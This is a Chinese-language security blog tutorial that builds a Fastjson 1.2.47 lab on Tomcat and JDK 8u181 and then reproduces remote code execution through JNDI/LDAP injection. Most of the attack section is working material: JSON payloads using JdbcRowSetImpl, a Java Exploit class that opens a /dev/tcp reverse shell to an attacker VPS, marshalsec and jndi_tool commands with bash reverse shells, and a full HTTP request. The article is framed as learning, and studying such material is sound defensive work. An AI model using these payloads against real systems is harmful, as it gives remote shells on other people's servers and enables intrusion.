0x00 前言 近期攻防值守期间,发现客户单位仍然存在 Fastjson 反序列化漏洞,时隔多秋该漏洞仍然可以被作为打点的利器,于是本着学习的心态重新学习一遍。
Ox01 环境搭建
Tomcat环境搭建
$ 下载 tomcat9
archive.apache.org/dist/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.zip
$ 将此压缩包复制到linux服务器上,并重命名为tomcat9 tar -zxvf apache-tomcat-9.0.27.tar.gz mv /apache-tomcat-9.0.27 /tomcat9
$ 授予tomcat9这个文件夹777权限 chmod -R 777 /tomcat9
Java 环境搭建
$ 下载 java 8u181
https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
$ 解压后将 java 文件复制到 /usr/java 目录下 tar -zxvf jdk-8u181-linux-x64.tar.gz mkdir /usr/java mv jdk1.8.0_181/ /usr/java
$ 配置 java 环境 vim /etc/profile
$ 配置 java 环境,其中 CATALINA_HOME=/ 本地 tomcat 目录,具体看自身 tomcat9 放置路径在哪 export JAVA_HOME=/usr/java/jdk1.8.0_181 export JRE_HOME=/usr/java/jdk1.8.0_181/jre export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin export CATALINA_HOME=/tomcat9
$ 使配置文件生效 source /etc/profile
$ 查看 java 环境是否生效 [root@vultr ~]# java -version java version “1.8.0_181” Java(TM) SE Runtime Environment (build 1.8.0_181-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)
Fastjson环境部署
$ fastjson-1.2.47,Web 环境文件下载
https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven
$ 将fastjson.war放置以下目录 tomcat9/bin
$ 授予tomcat9这个文件夹777权限 chmod -R 777 /tomcat9
漏洞环境启动
1、进入 tomcat/bin 目录输入以下命令启动环境
2、tomcat服务正常
3、出现 Hello Word,fastjson 漏洞环境正常
0x02 漏洞复现
手动反弹
1、根据前面的环境部署 JDK 为 8u181,所以使用 LDAP 方式进行漏洞复现,本次复现具体漏洞环境为
[+] apache-tomcat-9.0.27
[+] fastsjon-1.2.47
[+] jdk-8u181
[+] 两台真实VPS,一台搭建漏洞环境,一台用于反弹shell
[+] win10攻击机
【图一】 RMI 与 LDAP 具体支持版本的 JDK 版本
2、LADP 反弹 shell,测试 fastjson 服务是否正常运行
1 {"name":"xx","age":"999"}
响应正常,fastsjon服务正常
2、利用 DNSlog 进行漏洞探测, POC 如下
1 2 3 4 5 6 7 8 9 10 11 { "a" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "b" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://dnslog域名" , "autoCommit" : true } }
3、反弹shell
将以下代码命名为 Exploit.java 编译生成 Exploit.class ,并开启 Python 临时 Web 服务放置恶意类;代码中反弹 shell 中需更改为获取反弹 shell 的 VPS 地址,2333为后续 nc 监听的端口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit { public Exploit () throws Exception { Process p = Runtime.getRuntime().exec(new String []{"/bin/bash" ,"-c" ,"exec 5<>/dev/tcp/反弹shell主机IP/2333;cat <&5 | while read line; do $line 2>&5 >&5; done" }); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader (new InputStreamReader (is)); String line; while ((line = reader.readLine()) != null ) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main (String[] args) throws Exception { }
利用 marshalsec 开启 LDAP 服务,2121为 LDAP 服务端口,3333为上一步开启的 python 服务端口
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://恶意class_IP:3333/#Exploit 2121
开启 nc 监听,等待反弹 shell
Burp 放包,实现反弹 shell,Poc 如下
1 2 3 4 5 6 7 8 9 10 11 12 { "name" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "x" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://反弹shell主机IP:2121/Exploit" , "autoCommit" : true } }
VPS 查看,成功反弹
0x03 其它方法
利用 jndi_tool 获取反弹 shell
1、工具下载链接
1 https://github.com/wyzxxz/jndi_tool
2、反弹 shell 命令
1 2 3 4 5 # 详细命令 java -cp jndi_tool.jar jndi.HLDAPServer x.x.x.x 2121 "bash=bash -i >&/dev/tcp/x.x.x.x/2333 0>&1" # 命令解释 java -cp jndi_tool.jar jndi.HLDAPServer 本机IP LDAP服务监听端口 "bash=bash -i >&/dev/tcp/获取反弹shell的VPS_IP/获取shell监听端口 0>&1"
3、Burp 放包执行命令
1 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://x.x.x.x:2121/Object" , "autoCommit" : true }
4、成功获取反弹 shell
5、工具作者教程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ldap: 1. 启动LDAP服务,后面写要执行的语句 java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn" 2. 发送请求包 POST /test HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close Accept: */* User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:80/Object","autoCommit":true} 3. 查看日志是否执行成功 4、注:使用常规反弹shell无法实现反弹,作者反馈反弹shell命令为:bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1
Burp 被动扫描插件
1、下载地址
1 https://github.com/pmiaowu/BurpFastJsonScan/releases/tag/BurpFastJsonScan-2.2.2
2、导入 Burp 后,遇到 json 语句会自动扫描,开启后关闭结果即可
0x04 参考文章 1 2 3 4 https://www.cnblogs.com/hei-zi/p/13274272.html https://www.cnblogs.com/nul1/p/12747709.html http://arsenetang.com/2022/03/20/Java%E7%AF%87%E4%B9%8BRMI&LDAP/ https://github.com/safe6Sec/Fastjson
0x05 本文工具 1 2 3 4 5 6 https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.zip https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven marshalsec-0.0.3-SNAPSHOT-all.jar https://github.com/wyzxxz/jndi_tool https://github.com/pmiaowu/BurpFastJsonScan/releases/tag/BurpFastJsonScan-2.2.2